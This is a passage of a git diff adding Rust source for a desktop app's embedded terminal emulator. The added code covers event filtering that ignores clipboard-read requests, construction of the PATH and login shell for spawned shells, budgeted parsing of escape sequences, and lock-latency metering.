{BOUND:?} after the child was \ + reaped: the master never reached EOF, so output was not being \ + drained through termination" + ); + let _ = self.handle.join(); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/listener.rs b/desktop/src-tauri/crates/buzz-terminal/src/listener.rs new file mode 100644 index 0000000000..ac9fcfd60f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/listener.rs @@ -0,0 +1,144 @@ +//! The closed set of terminal events we act on. +//! +//! `EventListener` is how the emulator asks the embedder to do something. Most +//! of those requests write back to the PTY, and one of them — `ClipboardLoad` — +//! would let terminal output read the user's clipboard into the shell. We +//! answer a fixed set and **drop everything else by default**, so a new upstream +//! variant is inert until someone deliberately handles it. + +use std::fmt; +use std::sync::mpsc::{self, Receiver, Sender}; +use std::sync::Arc; + +use alacritty_terminal::event::{Event, EventListener, WindowSize}; +use alacritty_terminal::vte::ansi::Rgb; + +/// Something the embedder must do on the terminal's behalf. +/// +/// Two variants carry upstream's reply formatters rather than a finished +/// string: the answers depend on state this listener does not own (the color +/// palette, the cell metrics). Resolving them here would mean inventing +/// values, and a program that asked for its terminal's real background color +/// would silently be told black. +#[derive(Clone)] +pub enum Action { + /// Write bytes back to the PTY. + PtyWrite(String), + /// Reply with palette entry `index`, formatted by `format`. + ColorReply { + index: usize, + format: Arc String + Send + Sync>, + }, + /// Reply with the text area size, formatted by `format`. + SizeReply { + format: Arc String + Send + Sync>, + }, + /// The program set the window title (already clamped). + Title(String), + /// The program reset the window title. + ResetTitle, + /// New content is available; the renderer should sample damage. + Wakeup, + /// The program rang the bell. + Bell, +} + +impl fmt::Debug for Action { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"), + Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"), + Self::SizeReply { .. } => write!(f, "SizeReply"), + Self::Title(title) => write!(f, "Title({title:?})"), + Self::ResetTitle => write!(f, "ResetTitle"), + Self::Wakeup => write!(f, "Wakeup"), + Self::Bell => write!(f, "Bell"), + } + } +} + +/// Longest title we will carry. A title is program-controlled text that ends up +/// in UI chrome; an unbounded one is a memory and layout problem. +pub const TITLE_LIMIT: usize = 512; + +/// Clamp on a character boundary, never mid-UTF-8. +fn clamp_title(title: String) -> String { + match title.char_indices().nth(TITLE_LIMIT) { + None => title, + Some((byte_idx, _)) => title[..byte_idx].to_string(), + } +} + +/// Translates upstream events into the closed [`Action`] set. +#[derive(Clone)] +pub struct Listener(Sender); + +impl Listener { + pub fn new() -> (Self, Receiver) { + let (tx, rx) = mpsc::channel(); + (Self(tx), rx) + } +} + +/// Resolve an emulator action that can be answered without renderer state. +/// +/// Color queries deliberately return `None`: named/indexed colors resolve +/// against the live theme, which this crate does not own. +pub fn reply( + action: Action, + columns: u16, + rows: u16, + cell_width: u16, + cell_height: u16, +) -> Option { + match action { + Action::PtyWrite(text) => Some(text), + Action::SizeReply { format } => Some(format(WindowSize { + num_lines: rows, + num_cols: columns, + cell_width, + cell_height, + })), + // Palette values are renderer-owned. The transport must answer these + // only after it has a renderer palette, never invent one here. + Action::ColorReply { .. } + | Action::Title(_) + | Action::ResetTitle + | Action::Wakeup + | Action::Bell => None, + } +} + +impl EventListener for Listener { + fn send_event(&self, event: Event) { + let action = match event { + // Replies the program is waiting on. These are the only routes by + // which emulator state travels back into the shell. + Event::PtyWrite(text) => Action::PtyWrite(text), + // A program blocked on a color reply must get one, or it hangs. + // The palette lives in `Term`, so the caller resolves the index; + // the formatter is carried through untouched. + Event::ColorRequest(index, format) => Action::ColorReply { index, format }, + Event::TextAreaSizeRequest(format) => Action::SizeReply { format }, + Event::Title(title) => Action::Title(clamp_title(title)), + Event::ResetTitle => Action::ResetTitle, + Event::Wakeup => Action::Wakeup, + Event::Bell => Action::Bell, + + // Dropped on purpose, and enumerated so the reason survives: + // + // ClipboardLoad would let terminal output paste the user's + // clipboard into the shell. Never handled. + Event::ClipboardLoad(..) => return, + // ClipboardStore is an OSC 52 write; OSC 52 is disabled in the + // Term config, so this should be unreachable rather than merely + // unhandled. + Event::ClipboardStore(..) => return, + // Presentation concerns the renderer polls for; no action here. + Event::MouseCursorDirty | Event::CursorBlinkingChange => return, + // Lifecycle is owned by the PTY layer, not the emulator. + Event::Exit | Event::ChildExit(_) => return, + }; + let _ = self.0.send(action); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/path.rs b/desktop/src-tauri/crates/buzz-terminal/src/path.rs new file mode 100644 index 0000000000..94b77ce719 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/path.rs @@ -0,0 +1,46 @@ +//! `PATH` derivation for spawned PTY children. +//! +//! Buzz's own process runs under Hermit activation, so its `PATH` leads with +//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim +//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's +//! pinned build toolchain rather than the ones they installed. That is a +//! product defect, not merely untidy: `⌘J` then `cargo --version` should +//! answer for the user's machine, not for Buzz's build. +//! +//! The abandoned `feat/terminal` branch tried to solve this by subtracting +//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The +//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV` +//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads +//! those same keys at `:505-506` to learn what to strip. With both keys +//! already gone the roots list is empty and the function returns early, +//! leaving the hermit entries in place. Verified by reproduction: in that +//! order the child's `PATH` is unchanged; reversed, the hermit entries are +//! removed. A subtractive fence depends on evidence of what to subtract, and +//! that evidence is exactly what the preceding cleanup destroys. +//! +//! So `PATH` is *constructed*, not filtered. The child gets the platform's +//! standard user path, which is what a login shell would have produced had +//! Buzz never been in the picture. + +/// The default user `PATH` for a spawned shell. +/// +/// This intentionally does not consult Buzz's own `PATH`. A login shell reads +/// the user's rc files, which prepend their own entries (homebrew, asdf, mise, +/// `~/.local/bin`); starting from the platform default lets that happen +/// normally instead of layering it on top of Buzz's build toolchain. +#[cfg(unix)] +pub fn user_shell_path() -> String { + // Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system + // binaries only. `/usr/local/bin` is included because it is the + // conventional prefix on both macOS and Linux for user-installed tools + // that rc files expect to already be present. + "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string() +} + +#[cfg(windows)] +pub fn user_shell_path() -> String { + // On Windows the system directories are derived from the environment + // rather than fixed, and `cmd.exe`/PowerShell resolution depends on them. + let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string()); + format!(r"{root}\system32;{root};{root}\system32\Wbem") +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/reader.rs b/desktop/src-tauri/crates/buzz-terminal/src/reader.rs new file mode 100644 index 0000000000..0218dcda9b --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/reader.rs @@ -0,0 +1,354 @@ +//! Fence enforcement around `vte`'s `Processor`. +//! +//! Everything that reaches the terminal's parser goes through [`Feeder::feed`]. +//! It is the single place both fences are applied, so there is no route by +//! which bytes become parser-visible without being charged. + +use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler}; + +use crate::fences::{ + slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP, + TAIL_RESUME, WORK_BUDGET, +}; +use crate::units::{Counting, CursorColumn}; + +/// Owns the parser and enforces F1/F2 on every byte fed to it. +pub struct Feeder { + parser: Processor, + fences: Fences, + stats: FenceStats, + /// Bytes charged since the last F2 reset. + since_reset: usize, + /// Bytes accepted but not yet parsed. Grows when arrival outruns + /// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`]. + pending: Vec, + /// How much of `pending` has already been parsed. Kept as an index rather + /// than draining the front on every slice, so a large tail is not + /// re-shuffled once per slice; the prefix is dropped in one go on the next + /// enqueue. + pending_at: usize, + /// The grid the weights are computed against. Tracked here rather than + /// read from the `Term` because `feed` only has the handler, and kept in + /// sync by [`Feeder::resize`]: a stale grid misprices every O(cells) + /// callback for as long as it is wrong. + columns: usize, + lines: usize, + /// Whether the parser is part-way through an escape sequence that has not + /// yet dispatched. Governs how the next slice is metered -- see + /// [`crate::fences::slice_bytes_remaining`]. + mid_escape: bool, + /// Deepest scrollback this feeder has ever been configured for. + /// + /// A high-water mark rather than the current depth, and the difference is + /// not conservatism for its own sake -- the rows are still there. Upstream + /// frees history lazily: `Storage::shrink_lines` truncates only once the + /// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after + /// a decrease the grid still owns rows that a reset must walk. Pricing at + /// the new depth would charge for a grid that does not exist yet. + /// + /// Never lowered, so it needs no clearing transition and cannot go stale + /// in the unsafe direction. The cost is that a session which shrinks its + /// scrollback keeps paying the deep price for the rest of its life; the + /// alternative is a bound that is wrong immediately after every shrink. + scrollback: usize, +} + +impl Feeder { + pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self { + Self { + parser: Processor::new(), + fences, + stats: FenceStats::default(), + since_reset: 0, + pending: Vec::new(), + pending_at: 0, + mid_escape: false, + columns, + lines, + scrollback, + } + } + + /// Track a geometry change, so the cost weights describe the current grid. + /// + /// Takes the whole [`crate::Size`] rather than a column/line pair on + /// purpose. Scrollback is as load-bearing as the other two -- it is most + /// of RIS's price and therefore most of the slice derivation -- and a + /// signature that accepted only the dimensions let a caller change the + /// depth on the `Term` while the feeder kept charging the construction + /// value. One argument, one ownership boundary, no way to update two of + /// three. + pub fn resize(&mut self, size: crate::Size) { + self.columns = size.columns; + self.lines = size.screen_lines; + // Grows only. See the field: a decrease does not immediately free the + // rows a reset has to walk. + self.scrollback = self.scrollback.max(size.scrollback); + } + + pub fn stats(&self) -> FenceStats { + self.stats + } + + pub fn reset_stats(&mut self) { + self.stats.reset(); + } + + /// Bytes currently buffered inside a synchronized update. + pub fn pending_sync_bytes(&self) -> usize { + self.parser.sync_bytes_count() + } + + /// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`] + /// spent its work budget before reaching them. + pub fn pending_bytes(&self) -> usize { + self.pending.len() - self.pending_at + } + + /// Whether the pending tail has reached [`TAIL_CAP`]. + /// + /// Deliberately derived from the current depth rather than latched. A + /// latch is a state the fence owns and could fail to clear, which is + /// exactly how a paused reader strands a child mid-teardown; a reader that + /// simply stops asking resumes by default. + /// + /// **No production consumer today, and not an oversight.** The runtime + /// reader pumps [`Feeder::drain`] to completion after every read + /// (`terminal_runtime.rs`), so the tail is empty between iterations and + /// this can never go true -- measured 0 bytes high-water against 8 MiB of + /// pure RIS, the densest atom there is. It exists for a future reader + /// that defers pumping, and such a reader **must** consult it: without + /// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of + /// 16 KiB. + /// + /// The numbers are here rather than "nothing calls this" because the + /// signal and the loop are one fact from two sides. Delete the loop and + /// this predicate stops being unreachable in the same instant it starts + /// being needed. + pub fn tail_full(&self) -> bool { + self.pending_bytes() >= TAIL_CAP + } + + /// Whether a paused reader may resume: the tail has drained to the low + /// water mark. Separate from `!tail_full()` so the reader does not flap + /// between full and one-byte-below-full. + pub fn tail_drained(&self) -> bool { + self.pending_bytes() <= TAIL_RESUME + } + + /// Discard the unparsed tail. + /// + /// For session close only, and lossless where it is used: publication is + /// detached before shutdown drains, so this tail is bytes no renderer can + /// consume. Draining the *PTY* remains lifecycle-critical -- this exists so + /// parser work cannot hold teardown behind it. + pub fn abandon_tail(&mut self) -> usize { + let abandoned = self.pending_bytes(); + self.pending.clear(); + self.pending_at = 0; + self.stats.abandoned_bytes += abandoned as u64; + abandoned + } + + /// Accept PTY output and parse what fits in one work budget. + /// + /// Returns whether bytes remain unparsed. Bytes beyond the budget are + /// retained and parsed by [`Feeder::drain`], so this bounds the *lock + /// hold*; it does not bound the queue. When arrival outruns retirement + /// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true, + /// which is the reader's cue to stop reading the PTY and let the child + /// block. No policy is applied here: a fence that dropped input to protect + /// itself would corrupt the screen to avoid being slow. + pub fn feed(&mut self, handler: &mut H, bytes: &[u8]) -> bool { + self.enqueue(bytes); + self.drain(handler); + self.pending_bytes() > 0 + } + + /// Append to the pending tail, compacting the already-parsed prefix first. + fn enqueue(&mut self, bytes: &[u8]) { + if self.pending_at > 0 { + self.pending.drain(..self.pending_at); + self.pending_at = 0; + } + self.pending.extend_from_slice(bytes); + } + + /// Parse from the pending tail until the work budget is spent. + /// + /// The budget is checked between parser slices, never inside a callback: + /// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose + /// implementor in the ansi layer is private, so the cut has to be made + /// from outside, and a callback already running cannot be preempted at + /// all. One atom is therefore the irreducible overrun -- and it is not + /// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600 + /// columns, because upstream's `move_backward_tabs` rescans the row once + /// per count when it finds no stop. + /// + /// What *is* bounded is the number of atoms per slice, and that bound + /// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived + /// from the densest work-per-byte upstream can produce on this grid, so + /// no slice can contain more than one budget's worth of callbacks no + /// matter what the payload is or what the feeder has seen before. + /// + /// Returns the work spent, which is at least the budget whenever the tail + /// is still non-empty on return. + pub fn drain(&mut self, handler: &mut H) -> u64 { + // Slices are copied out of the tail rather than borrowed from it, + // because `advance_slice` needs `&mut self` and the tail is part of + // self. A stack buffer keeps that from allocating; the copy is a + // memcpy against a parse two orders of magnitude more expensive. + let mut buf = [0u8; MAX_SLICE]; + let mut spent: u64 = 0; + while self.pending_at < self.pending.len() { + // Size each slice against what is *left* of the budget, and + // against what is actually in front of the parser. A slice can + // only be as expensive as the callbacks it contains, and only an + // escape can buy grid-sized work in two bytes -- so a plain run + // is sliced against the plain-byte cost and stops at the next + // `ESC`, which then gets a slice metered against the worst atom. + // The drain therefore returns on the atom that crosses the + // budget, not at the end of a slice that ran several more. + // + // Where one atom is worth more than the entire budget -- RIS at + // any real scrollback depth -- that escape gets a one-byte slice. + // That is the honest consequence of the law: nothing wider can + // promise to stop after the crossing atom when a single atom + // always crosses. + // A slice is never wider than MAX_SLICE, so the scan for the next + // escape stops there too: searching the whole tail would be + // O(tail) per slice and O(tail^2) per drain, which measured as a + // 7x throughput *regression* on plain text -- a bound that costs + // more than the thing it bounds. + let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len()); + let next_escape = if self.mid_escape { + // Already inside a sequence whose callback has not fired. Its + // remaining bytes are *not* plain text -- `ESC` then `c` is a + // grid reset -- so they keep the escape's metering. Without + // this the byte after a lone `ESC` is priced as a character + // and the atom rides into a wide slice with whatever follows + // it, which is the post-atom overrun by another door. + 0 + } else { + self.pending[self.pending_at..horizon] + .iter() + .position(|&b| b == 0x1b) + .unwrap_or(horizon - self.pending_at) + }; + let width = slice_bytes_remaining( + self.columns, + self.lines, + self.scrollback, + spent, + next_escape, + ); + let end = (self.pending_at + width).min(self.pending.len()); + let len = end - self.pending_at; + buf[..len].copy_from_slice(&self.pending[self.pending_at..end]); + self.pending_at = end; + let cost = self.advance_slice(handler, &buf[..len]); + // A slice that contained an escape but dispatched nothing left the + // parser mid-sequence. Work is the signal because it is the thing + // being budgeted: a sequence that has not yet cost anything has + // not yet run. + self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0; + spent = spent.saturating_add(cost); + if spent >= WORK_BUDGET { + break; + } + } + if self.pending_at == self.pending.len() { + self.pending.clear(); + self.pending_at = 0; + } + let depth = self.pending_bytes(); + self.stats.max_pending = self.stats.max_pending.max(depth); + if depth >= TAIL_CAP { + self.stats.tail_breaches += 1; + } + spent + } + + /// Parse one slice, applying both fences to it. Returns the work it cost. + fn advance_slice(&mut self, handler: &mut H, bytes: &[u8]) -> u64 { + let mut spent: u64 = 0; + let sync_before = self.parser.sync_bytes_count(); + { + let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback); + self.parser.advance(&mut counting, bytes); + self.stats.completed_units = + self.stats.completed_units.saturating_add(counting.units()); + self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work()); + spent = spent.saturating_add(counting.work()); + } + let sync_after = self.parser.sync_bytes_count(); + + // Charge exactly the bytes the parser could see, by route: + // + // * the buffer shrank -> a synchronized update ended and released + // `sync_before` buffered bytes plus whatever of `bytes` followed it. + // Charging only `bytes` here is the "omitted flush accounting" + // mutation: it under-charges by the whole buffered frame. + // * the buffer grew -> these bytes were swallowed into the buffer + // and are not yet parser-visible. Charging them now is the "raw + // counting" mutation: it over-charges, and resets the parser in the + // middle of a legitimate frame, destroying content. + // * neither -> ordinary unsynchronized input. + let charged = if sync_after < sync_before { + let released = sync_before + bytes.len() - sync_after; + self.note_release(released); + released + } else if sync_after > sync_before { + // Buffered, not yet visible. Charged when it is released. + 0 + } else { + bytes.len() + }; + self.charge(charged); + + // F1: a synchronized update may not buffer without bound. One abort + // per breach; the released bytes are parser-visible and are charged. + if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP { + let released = self.parser.sync_bytes_count(); + // Counted too: aborting flushes the buffered frame through the + // handler, so these are units the lock hold paid for. Leaving them + // out would undercount exactly on the fenced path. + { + let mut counting = + Counting::new(handler, self.columns, self.lines, self.scrollback); + self.parser.stop_sync(&mut counting); + self.stats.completed_units = + self.stats.completed_units.saturating_add(counting.units()); + self.stats.completed_work = + self.stats.completed_work.saturating_add(counting.work()); + spent = spent.saturating_add(counting.work()); + } + self.stats.sync_aborts += 1; + self.note_release(released); + self.charge(released); + } + + // F2: rebuild the parser once the budget is spent. Unconditional -- + // a fresh `Processor` is the only way to discard parser state that a + // hostile stream is holding open, and it must not depend on the + // parser agreeing that it is in a bad state. + if self.fences.osc_budget && self.since_reset >= OSC_BUDGET { + self.parser = Processor::new(); + self.stats.osc_resets += 1; + self.since_reset = 0; + } + + spent + } + + fn charge(&mut self, bytes: usize) { + self.since_reset += bytes; + self.stats.charged_bytes += bytes as u64; + } + + fn note_release(&mut self, bytes: usize) { + if bytes > self.stats.max_release { + self.stats.max_release = bytes; + } + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/shared.rs b/desktop/src-tauri/crates/buzz-terminal/src/shared.rs new file mode 100644 index 0000000000..72aac2ce4d --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/shared.rs @@ -0,0 +1,305 @@ +//! The lock the reader and the renderer contend for, and the meter on it. +//! +//! This lives in the engine crate rather than in the embedder because the +//! property it exists to prove is a property of the emulator *and* the lock +//! together: F1 bounds how many bytes one `feed` releases into the parser, +//! which bounds how long the reader can hold this mutex, which bounds how long +//! the renderer waits for it. Split the lock out to the Tauri layer and the +//! gate can only be written where no fixture runs. +//! +//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is +//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart, +//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the +//! wrong quantity; waiting time is the one a human feels. So the two planes are +//! metered separately: pooling them would let the reader's millions of fast +//! acquires dilute the renderer's tail into a false pass. + +use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering}; +use std::time::Instant; + +use alacritty_terminal::sync::FairMutex; +use parking_lot::MutexGuard; + +use crate::damage::{self, Encoder, Frame}; +use crate::Terminal; + +/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds, +/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is +/// the point: nothing is silently clamped into the last bucket. +const BUCKETS: usize = 32; + +fn bucket_of(micros: u64) -> usize { + (u64::BITS - micros.leading_zeros()) as usize +} + +/// Upper bound of a bucket, in microseconds. Percentiles report this, so a +/// reported latency is never better than what was actually observed. +fn bucket_ceiling(bucket: usize) -> u64 { + if bucket == 0 { + 0 + } else { + (1u64 << bucket) - 1 + } +} + +/// Lock-acquisition latencies for one plane, recorded without taking a second +/// lock -- an instrument that contends is measuring itself. +#[derive(Debug)] +pub struct AcquireMeter { + acquisitions: AtomicU64, + max_micros: AtomicU64, + buckets: [AtomicU32; BUCKETS], +} + +impl Default for AcquireMeter { + fn default() -> Self { + Self { + acquisitions: AtomicU64::new(0), + max_micros: AtomicU64::new(0), + buckets: std::array::from_fn(|_| AtomicU32::new(0)), + } + } +} + +impl AcquireMeter { + fn record(&self, micros: u64) { + self.acquisitions.fetch_add(1, Ordering::Relaxed); + self.max_micros.fetch_max(micros, Ordering::Relaxed); + self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed); + } + + /// Read the counters. Cheap and non-blocking; safe to call from a gate + /// while the flood is still running. + pub fn snapshot(&self) -> AcquireStats { + AcquireStats { + acquisitions: self.acquisitions.load(Ordering::Relaxed), + max_micros: self.max_micros.load(Ordering::Relaxed), + buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)), + } + } + + /// Clear the counters. Diagnostics are per-run. + pub fn reset(&self) { + self.acquisitions.store(0, Ordering::Relaxed); + self.max_micros.store(0, Ordering::Relaxed); + for bucket in &self.buckets { + bucket.store(0, Ordering::Relaxed); + } + } +} + +/// A read of one plane's acquisition latencies. +/// +/// `max_micros` is exact because the budget it answers to -- no acquire above +/// one frame at 60 Hz -- is a statement about a single worst event. The +/// distribution is bucketed by powers of two because the budget *it* answers to +/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two +/// resolution against 80x of margin buys nothing for the memory it costs. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct AcquireStats { + pub acquisitions: u64, + pub max_micros: u64, + buckets: [u32; BUCKETS], +} + +impl AcquireStats { + /// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to + /// the enclosing bucket's ceiling. + pub fn percentile_micros(&self, p: f64) -> u64 { + if self.acquisitions == 0 { + return 0; + } + let target = (self.acquisitions as f64 * p).ceil() as u64; + let mut seen = 0u64; + for (bucket, count) in self.buckets.iter().enumerate() { + seen += *count as u64; + if seen >= target { + return bucket_ceiling(bucket); + } + } + self.max_micros + } +} + +/// A [`Terminal`] shared between the PTY reader and the renderer. +pub struct SharedTerminal { + term: FairMutex, + reader: AcquireMeter, + renderer: AcquireMeter, + closing: AtomicBool, +} + +impl SharedTerminal { + pub fn new(term: Terminal) -> Self { + Self { + term: FairMutex::new(term), + reader: AcquireMeter::default(), + renderer: AcquireMeter::default(), + closing: AtomicBool::new(false), + } + } + + /// Acquisition latencies for the PTY-reader plane. + pub fn reader_acquire(&self) -> &AcquireMeter { + &self.reader + } + + /// Acquisition latencies for the renderer plane. This is the one with a + /// budget attached. + pub fn renderer_acquire(&self) -> &AcquireMeter { + &self.renderer + } + + /// Feed PTY output into the emulator. Reader plane. + /// + /// Returns whether a tail remains: one acquisition parses one work + /// budget, then **drops the lock** so the renderer can have it. The + /// caller pumps [`SharedTerminal::drain`] until it returns false. Doing + /// the whole buffer under one acquisition is what an unbounded hold *is*, + /// so it is not offered here. + pub fn feed(&self, bytes: &[u8]) -> bool { + let mut term = self.acquire(&self.reader); + if self.closing.load(Ordering::Acquire) { + false + } else { + term.feed(bytes) + } + } + + /// Parse more of the pending tail under a fresh acquisition. Reader + /// plane. Returns whether any remains. + pub fn drain(&self) -> bool { + let mut term = self.acquire(&self.reader); + if self.closing.load(Ordering::Acquire) { + false + } else { + term.drain() + } + } + + /// Feed and pump to completion, re-acquiring between slices. + pub fn feed_fully(&self, bytes: &[u8]) { + let mut more = self.feed(bytes); + while more { + more = self.drain(); + } + } + + /// Atomically enter close mode and discard parser work. Subsequent PTY + /// bytes are raw-drained by the embedder and never reach callbacks. + pub fn begin_closing(&self) -> usize { + self.closing.store(true, Ordering::Release); + self.acquire(&self.reader).abandon_tail() + } + + pub fn is_closing(&self) -> bool { + self.closing.load(Ordering::Acquire) + } + + /// Sample damage and encode a frame. Renderer plane. + /// + /// The lock covers the copy only; `encode` -- hashing, span grouping, + /// allocation -- runs after the guard drops, which is worth ~75x in hold + /// time. The `Encoder` is the caller's because its dedup state is per + /// consumer, and passing it in keeps the encode off this lock by + /// construction rather than by remembering to. + pub fn render(&self, encoder: &mut Encoder) -> Frame { + let raw = { + let mut term = self.acquire(&self.renderer); + damage::capture(&mut term) + }; + encoder.encode(raw) + } + + /// Copy the whole viewport for a subscriber that arrived mid-stream. + /// Renderer plane. + /// + /// Attach, reattach, and the successor side of a resize all need the + /// screen as it stands, not the next thing to change on it. Crucially this + /// leaves damage alone, so taking a snapshot for a newcomer cannot steal + /// the incumbent renderer's pending rows -- see [`damage::capture_all`]. + /// + /// Costs a full grid copy under the lock, so call it on attach rather than + /// per frame. + pub fn snapshot(&self, encoder: &mut Encoder) -> Frame { + let raw = { + let mut term = self.acquire(&self.renderer); + damage::capture_all(&mut term) + }; + encoder.encode(raw) + } + + /// Move the viewport through scrollback. Renderer plane. + /// + /// Positive moves into history; see [`crate::Terminal::scroll`]. Returns + /// whether it moved, so the caller can skip capture and publication for + /// the momentum tail that arrives after history has run out. + pub fn scroll(&self, lines: i32) -> bool { + self.acquire(&self.renderer).scroll(lines) + } + + /// Return the viewport to the live edge. Renderer plane. Returns whether + /// it moved, so an unscrolled terminal costs one comparison per keystroke + /// and no repaint. + pub fn scroll_to_bottom(&self) -> bool { + self.acquire(&self.renderer).scroll_to_bottom() + } + + /// Apply a coalesced resize. Renderer plane: this competes with the + /// renderer for the same lock and can hold it for milliseconds. + pub fn resize(&self, size: crate::Size) -> crate::Viewport { + self.acquire(&self.renderer).resize(size) + } + + /// Take the lock for something the methods above don't cover (input, + /// reading stats). Metered on the renderer plane, since anything + /// that isn't the read loop competes with the renderer for the same lock. + pub fn lock(&self) -> MutexGuard<'_, Terminal> { + self.acquire(&self.renderer) + } + + /// Modes the renderer/input boundary needs to report alongside frames. + pub fn input_modes(&self) -> (bool, bool) { + let term = self.acquire(&self.renderer); + let mode = term.term().mode(); + ( + mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE), + mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT), + ) + } + + fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> { + let started = Instant::now(); + let guard = self.term.lock(); + meter.record(started.elapsed().as_micros() as u64); + guard + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{Fences, Size}; + + #[test] + fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() { + let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL); + let shared = SharedTerminal::new(terminal); + let payload = b"\x1b#8".repeat(10_000); + + assert!(shared.feed(&payload), "fixture must create parser tail"); + let before = shared.lock().stats(); + let abandoned = shared.begin_closing(); + assert!(abandoned > 0, "close must abandon without draining first"); + assert!(shared.is_closing()); + + assert!(!shared.feed(b"parser callback after close")); + assert!(!shared.drain()); + let after = shared.lock().stats(); + assert_eq!(after.completed_units, before.completed_units); + assert_eq!( + after.abandoned_bytes, + before.abandoned_bytes + abandoned as u64 + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/shell.rs b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs new file mode 100644 index 0000000000..fcee20ca27 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs @@ -0,0 +1,138 @@ +//! Login-shell resolution for spawned PTY children. +//! +//! Tyler asked for the user's shell of choice, so the resolution order is the +//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters +//! is the *validity* test applied at each step, and it is not "the path +//! exists". +//! +//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553` +//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute +//! this" for *any* file type, and a directory carries the execute bit to mean +//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C +//! repro and end-to-end through a real PTY: with `SHELL=/tmp`, +//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns +//! `Ok`, and the child dies with exit code 1 after printing +//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`. +//! The user gets a terminal that opens and instantly dies with a Rust runtime +//! panic, and every layer above reported success. +//! +//! So we require an **executable regular file**, following symlinks: `stat` +//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink +//! on many systems. A directory or a non-executable file falls through to the +//! next candidate instead of becoming an unspawnable child. + +use std::path::Path; + +/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable +/// the machine has bigger problems than our terminal. +pub const FALLBACK_SHELL: &str = "/bin/sh"; + +/// Returns true if `path` is a regular file this process may execute. +/// +/// The conjunction is load-bearing and neither half suffices: +/// +/// - `access(X_OK)` alone accepts a **directory** — the execute bit means +/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug +/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with +/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every +/// layer reports success. +/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute. +/// The bits say *some* class has execute permission, not the applicable +/// one, and they do not evaluate ACLs. Verified with a self-owned regular +/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and +/// running it gives `Permission denied`. +/// +/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash` +/// is legitimate) **and** effective executability via `access(X_OK)`. +#[cfg(unix)] +pub fn is_executable_file(path: &Path) -> bool { + let Ok(meta) = std::fs::metadata(path) else { + return false; + }; + meta.is_file() && can_execute(path) +} + +/// `access(path, X_OK)`: does the *effective* user have execute permission, +/// accounting for the applicable permission class and ACLs? +#[cfg(unix)] +fn can_execute(path: &Path) -> bool { + use std::os::unix::ffi::OsStrExt; + + let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else { + return false; // interior NUL: not a path we can ask about + }; + // SAFETY: `c_path` is a valid NUL-terminated C string for the duration of + // the call, and `access` only reads it. + unsafe { 